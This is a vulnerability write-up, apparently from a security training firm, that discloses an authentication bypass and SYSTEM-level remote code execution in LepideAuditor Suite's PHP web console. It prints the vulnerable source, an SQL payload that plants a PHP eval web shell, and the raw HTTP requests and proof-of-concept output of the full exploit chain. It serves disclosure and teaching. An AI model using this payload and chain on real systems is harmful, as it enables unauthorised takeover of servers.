Auditing the Auditor - Breaking all the things

Auditing the Auditor

Some time ago, we noticed some security researchers looking for critical vulnerabilities affecting “security” based products (such as antivirus) that can have a damaging impact to enterprise and desktop users. Take a stroll through the Google Project Zero bug tracker to see what we mean. Other security researchers are outspoken about such products as well:

Joxean Koret quote

The underlying point is that on the face of it, the wider community assumes that security products are themselves secure and often don’t comprehend the significant increase of attack surface introduced by so-called security products. Thanks to the work of security researchers, antivirus has been proven to fall short of the big enterprise giants, who already implement sandbox technologies, strong exploit mitigation technologies, and have evolving and maturing bug bounty programs.

While we all love a good antivirus remote code execution vulnerability, many intelligent people are already working in that space so we decided to begin auditing compliance-based enterprise software products. This type of software typically tries to ensure some level of security and compliance, promising high integrity to the enterprise market.

Today, we’re going to discuss an interesting vulnerability that was discovered well over a year ago (Sun, 22 May 2016 at 7pm to be exact) during the audit of one such compliance-based enterprise product: LepideAuditor Suite.

LeptideAuditor Suite Introduction

This vulnerability was publicly disclosed as ZDI-17-440 and marked as zero-day since no reply was received from the vendor. Interestingly, this vulnerability is patched in the latest version of LepideAuditor even though there is no mention of it in the product’s release history.

The product introduction states that it is designed for IT security managers and audit personnel among a few others and it allows users to access real-time reports through a “secure” web portal. Without further ado, let’s begin!

Installation

The suite is designed for IT security managers and audit personnel among a few others. The suite consists of four components that can be installed after extracting the lepideauditorsuite.zip package. The first component that we installed was the “Lepide Auditor Web Console”

LepideAuditor package

The component installation is easy. With a double-click, we deployed the simple WAMP stack that Lepide provided on port 7778.

Lepide

Auditing

With the application up and running, we started by looking at Process Explorer to see what was going on:

analyzing with process explorer

We noticed that the web console is simply an Apache web server running as NT AUTHORITY\SYSTEM listening on port 7778. The properties window also displayed the current directory as C:\LepideAuditorSuiteWebConsole\apache so this is a good place to look first.

Browsing around this path in Explorer revealed something interesting:

PHP Logo

It’s our good friend PHP, and like many people, we love ourselves a good PHP target.

Authentication Bypass

Looking for some low-hanging fruit, we decided to start with a blackbox approach and spend some time poking around at the authentication mechanism:

attempting to authenticate

Right away, we noticed that the authentication process took a long time (around about 6 seconds) to get a response from the server. We also noticed that the application was asking for an extra server parameter as input, which is not normal, during authentication. It turns out that the extra time taken was because Apache was performing a DNS lookup request for ‘test’.

Since we did not have login credentials and could not reach much functionality without them, we moved on to auditing the PHP source code directly. The first thing we looked at was the login functionality, apparently implemented by index.php. Opening up the file revealed the following:

wut

Full disclosure: we admit we got a bit of a chuckle over this. Whilst security through obscurity is fine for things like ASLR, it doesn’t make much sense for source code, especially using base64 as the obfuscation technique. We would at least expect a JIT obfuscation technique such as ionCube or Zend Guard.

After breaking through the imposing base64 encoding, we saw the following code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<!--?php session_start(); if((isset($_SESSION["username"]))&&($_SESSION["username"]!="")) { //header("location: data.php" ); //exit(); } ?-->
<!--?php include_once("config.php"); ?-->
<!--?php <br ?--> $error='';
if(isset($_POST["submit"]))
{
$servername = isset($_POST["servername"])?mysql_real_escape_string($_POST["servername"]):"";
$username = isset($_POST["username"])?mysql_real_escape_string($_POST["username"]):"";
$password = isset($_POST["password"])?mysql_real_escape_string($_POST["password"]):"";
if ($servername=="") {
$error= "Please Enter Server Name";
}
elseif ($username=="") {
$error= "Please Enter Username";
}
//elseif (strpos($username,'@')==false) {
// $error= 'Please Enter Valid Username';
//}
elseif ($username=="") {
$error= "Please Enter Password";
}
if($error=="") {
$port=1056;
$sock=connect ($servername,$port);
if($sock) {
$_SESSION["socket"]=$sock;
$data= 601; //authenticate login
if(sendtags($_SESSION["socket"],$data))
{
if(sendstringtoserver($_SESSION["socket"],$username))
{
if(sendstringtoserver($_SESSION["socket"],$password))
{
$recv= getstringfromserver($_SESSION["socket"]);

if ($recv =='_SUCCESS_')
{
$_SESSION["username"]=$username;
$_SESSION["ip"]=$servername;
$_SESSION["password"]=$password;
$_SESSION["sessionno"]=rand(10,100);
session_write_close();
header("location: reports" );
exit();
}

Looking at the code, we see that it includes config.php, which of course, also looks interesting. However, to begin with, the code is taking user-supplied input as the server variable along with a hard-coded port number, and passing it to the connect() function on line 31. Let’s take a look at that function within the config.php file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function connect ($ip,$port)
{
if (!extension_loaded('sockets')) {
die('The sockets extension is not loaded.');
}
if(!($sock = socket_create(AF_INET, SOCK_STREAM, 0)))
{
$errorcode = socket_last_error();
$errormsg = socket_strerror($errorcode);
die("Couldn't create socket: [$errorcode] $errormsg \n");
}
if(!socket_connect($sock , $ip ,$port))
{
$sock= "";
$error="could not connect";
return $sock;
}
else{
return $sock;
}
return $sock;
}

The code creates a raw socket connection to the supplied server parameter. Switching back to the index.php script, on lines 37 and 39 the code tries to authenticate using the supplied username and password. If successful from line 43, a valid, authenticated session is created!

Since, as an attacker, we can control the authenticating server parameter, we can essentially bypass the authentication.

Gaining Remote Code Execution

Now that we could bypass the authentication, we decided to look further into the source code and see what other input is trusted from the authentication server.

After spending some more time browsing around the source code, we noticed an interesting file named genratereports.php. Judging by the name, it is presumably used to generate rate reports, rather than facilitating an attacker’s access into the target.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
$gid= isset($_GET["grid_id"])?$_GET["grid_id"]:'';
if(($id!=0)&&($daterange!="")&&($path!="")&&($gid==""))
{
$port=1056;
$sock =login($ip, $port, $username,$password);
if($sock)
{
$data = 604;
if(sendtags($sock,$data))
{
if(sendstringtoserver($sock,$id))
{
if(sendstringtoserver($sock,$path))
{
$columnamestr=getstringfromserver($sock);
$columname=genratecolumnname($columnamestr);
session_start();
$_SESSION["columname"]=$columname;
session_write_close();
}
}
}
if($columname)
{
$data = 603;
if(sendtags($sock,$data))
{
if(sendstringtoserver($sock,$daterange))
{
if(sendstringtoserver($sock,$id))
{
if(sendstringtoserver($sock,$path))
{
$filename=getfilefromremote($sock);
if($filename)
{
$restore_file = "temp/".$filename.".sql";
if(createdb($restore_file,$username,$sessionnumber))

It seems that we can reach the vulnerable code block if the $gid variable is set, which is controlled from the grid_id GET parameter. Next, login() is called using our supplied username and password from our authenticated session.

The login() function is essentially the same process we went through before to authenticate and setup the initial session, defined in config.php.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
function login($ip, $port, $username,$password)
{
$sock=connect ($ip,$port);
if($sock) {
$data= 601; //authenticate login
if(sendtags($sock,$data))
{
if(sendstringtoserver($sock,$username))
{
if(sendstringtoserver($sock,$password))
{
$recv= getstringfromserver($sock);
if ($recv =='_SUCCESS_')
{
return $sock;
/* $_SESSION["username"]=$username;
$_SESSION["ip"]=$servername;
header("location: data.php" );
exit(); */
}
else{
disconnect($sock);
destroysession();
//return false;
}
}
}
}
}
}

The difference this time, is that it doesn’t set any session variables, but simply returns the socket handle. Returning back to genratereports.php, after the login returns and validates the socket handle, some tags and strings are sent to the controlled server and then a column name is sent from the server. That column name is validated, and then finally, on line 34, we see a call to getfilefromremote(). That function looked scary interesting to us, so we decided it merited further investigation. The getfilefromremote() function is also defined in config.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
function getfilefromremote($sock)
{
$uniqid=uniqid();
$tag=readtag($sock);
if($tag[1]==5)
{
$msg="";
$buf=socket_read ($sock, 4);
$rec_Data= unpack("N",$buf);
if($rec_Data[1]>0)//size
{
if($rec_Data[1]0)
{
$data= socket_read($sock, $size);
$size=$size-strlen($data);
$data_rec.=$data;
}
} catch (Exception $e) {
echo 'Caught exception: ', $e->getMessage(), "\n";
}
$data = iconv('UTF-16LE','UTF-8',$data_rec);
$fp = fopen("temp/".$uniqid.".sql","wb");
fwrite($fp,$data);
fclose($fp);
$ack=2;
if(socket_send ( $sock , pack('N*',$ack), strlen(pack('N*',$ack)) , 0))
{
if($rec_ack=readtag($sock))
{
if($rec_ack[1]==2)
{
//socket_close($sock);
return $uniqid;
}
}
}
}

The function reads data from our controlled server and copies it to a temporary file that is created using uniqid() on lines 22 and 23. Finally, the code returns the uniqid that was created.

Going back to genratereports.php, we can see the $restore_file variable is mapped to the same path as the file that was created in getfilefromremote(). That variable is then passed to the createdb() function. Let’s investigate createdb() within, once again, config.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
function createdb($dbfile,$Dusername,$sessionnumber)
{
$dbcreate= false;
ini_set('max_execution_time', 300); //300 seconds = 5 minutes
$server_name= "localhost";
$username= "root";
$password= "";
$dbname= substr(preg_replace("/[^a-z]+/", "", $Dusername), 0, 12);
$dbname= $dbname.$sessionnumber;
$link = mysql_connect($server_name, $username, $password);
if ($link) {
$user=substr(preg_replace("/[^a-z]+/", "", $Dusername), 0, 12);
//$user=$user.sessionno
$host="localhost";
$pass= "123456";
$userQ= "DROP USER ".$user."@localhost";
$createQ = "CREATE USER '{$user}'@'{$host}' IDENTIFIED BY '{$pass}'";
$grantQ = "GRANT ALTER, ALTER ROUTINE, CREATE, CREATE ROUTINE, CREATE TEMPORARY TABLES, CREATE USER, CREATE VIEW, DELETE, DROP, EVENT, EXECUTE, FILE, INDEX, INSERT, LOCK TABLES, PROCESS, REFERENCES, RELOAD, REPLICATION CLIENT, REPLICATION SLAVE, SELECT, SHOW DATABASES, SHOW VIEW, SHUTDOWN, SUPER, TRIGGER, UPDATE ON *.* TO '{$user}'@'{$host}' WITH GRANT OPTION";
mysql_query($userQ);
if(mysql_query($createQ)){
if(mysql_query($grantQ)){
$dropdbQ ='DROP DATABASE IF EXISTS '.$dbname;
mysql_query($dropdbQ, $link);
$sql = 'CREATE DATABASE IF NOT EXISTS '.$dbname;
mysql_query($sql, $link);
$cmd = "mysql -h {$host} -u {$user} -p{$pass} {$dbname} < $dbfile";
exec($cmd,$output,$return);

The createdb function attempts to create a new root database user account and uses the supplied $restore_file variable into a command that is passed to exec() on lines 30 and 31.

On the surface, it appears that this is a command execution vulnerability, however, since we do not fully or partially control the filename directly (just the contents), we cannot execute commands.

However, the astute reader has probably put it all together–we can control input passed to the MySQL client as the database user root using attacker-controlled SQL. At this point, we can do something like the following:

1
2
# exploit!
if send_file(conn, "select '<!--?php eval($_GET[e]); ?-->' into outfile '../../www/offsec.php';"):

Exploitation

This was simple enough. All we had to do was create a socket server that interacted with the target and supplied what it needed, when it needed it.

In one window, we setup the malicious server:

root@kali:~# ./server-poc.py
Lepide Auditor Suite createdb() Web Console Database Injection Remote Code Execution
by mr_me 2016

(+) waiting for the target...

We then used a client to send the first login request, then a second request to the genratereport.php file:

root@kali:~# ./client-poc.py 172.16.175.137 172.16.175.1
(+) sending auth bypass
(+) sending code execution request

The first request just performs the login against our attacker-controlled server:

POST /index.php HTTP/1.1
Host: 172.16.175.137:7778
Content-Type: application/x-www-form-urlencoded
Content-Length: 61

servername=172.16.175.1&username=test&password=hacked&submit=

We get a response that contains an authenticated PHPSESSID. We must take care to not follow the redirect, or our PHPSESSID will be destroyed (code omitted):

HTTP/1.1 302 Found
Date: Sun, 22 May 2016 19:00:20 GMT
Server: Apache/2.4.12 (Win32) PHP/5.4.10
X-Powered-By: PHP/5.4.10
Set-Cookie: PHPSESSID=lkhf0n8epc481oeq4saaesgqe3; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
location: reports
Content-Length: 8
Content-Type: text/html

The second request triggers the exec() call using our newly-authenticated PHPSESSID:

GET /genratereports.php?path=lol&daterange=1@9&id=6 HTTP/1.1
Host: 172.16.175.137:7778
Cookie: PHPSESSID=lkhf0n8epc481oeq4saaesgqe3

Finally, all the pieces come together…

root@kali:~# ./server-poc.py
Lepide Auditor Suite createdb() Web Console Database Injection Remote Code Execution
by mr_me 2016

(+) waiting for the target...
(+) connected by ('172.16.175.137', 50541)
(+) got a login request
(+) got a username: test
(+) got a password: hacked
(+) sending SUCCESS packet
(+) send string successful
(+) connected by ('172.16.175.137', 50542)
(+) got a login request
(+) got a username: test
(+) got a password: hacked
(+) sending SUCCESS packet
(+) send string successful
(+) got a column request
(+) got http request id: 6
(+) got http request path: lol
(+) send string successful
(+) got a filename request
(+) got http request daterange: 1@9 - 23:59:59
(+) got http request id: 6
(+) got http request path: lol
(+) successfully sent tag
(+) successfully sent file!
(+) file sent successfully
(+) done: http://172.16.175.137:7778/offsec.php?e=phpinfo();

Address bar

That’s unauthenticated remote code execution as NT AUTHORITY\SYSTEM. It’s also interesting to note that Lepide uses an old version of PHP!

Conclusion

Currently, a great deal of focus is applied to input validation vulnerabilities such as an SQL injection or PHP code injection but the complete security model of this application is destroyed when trusting the client to supply the authentication server. Disastrous logic vulnerabilities such as these can be avoided if the trust chain is validated before deployment.

This is a vulnerability that never would have been found via a blackbox approach. Last year during our Advanced Web Attacks and Exploitation (AWAE) course at Black Hat, we guided the students focus away from the ‘traditional’ blackbox web application penetration test to a more involved white-box/grey-box research approach. The threat landscape is changing and skilled web application bug hunters are everywhere due to the explosion of the service-oriented bug bounties provided by companies large and small.

On the other hand, product-oriented bug bounties require auditors to understand application logic and code even more so than a service-oriented bounty hunter. In order for security analysts to progress, they will need to have the ability to audit source code at a detailed level in the on-going quest to discover zero-day.

References:

https://www.exploit-db.com/exploits/42297/http://www.zerodayinitiative.com/advisories/ZDI-17-440/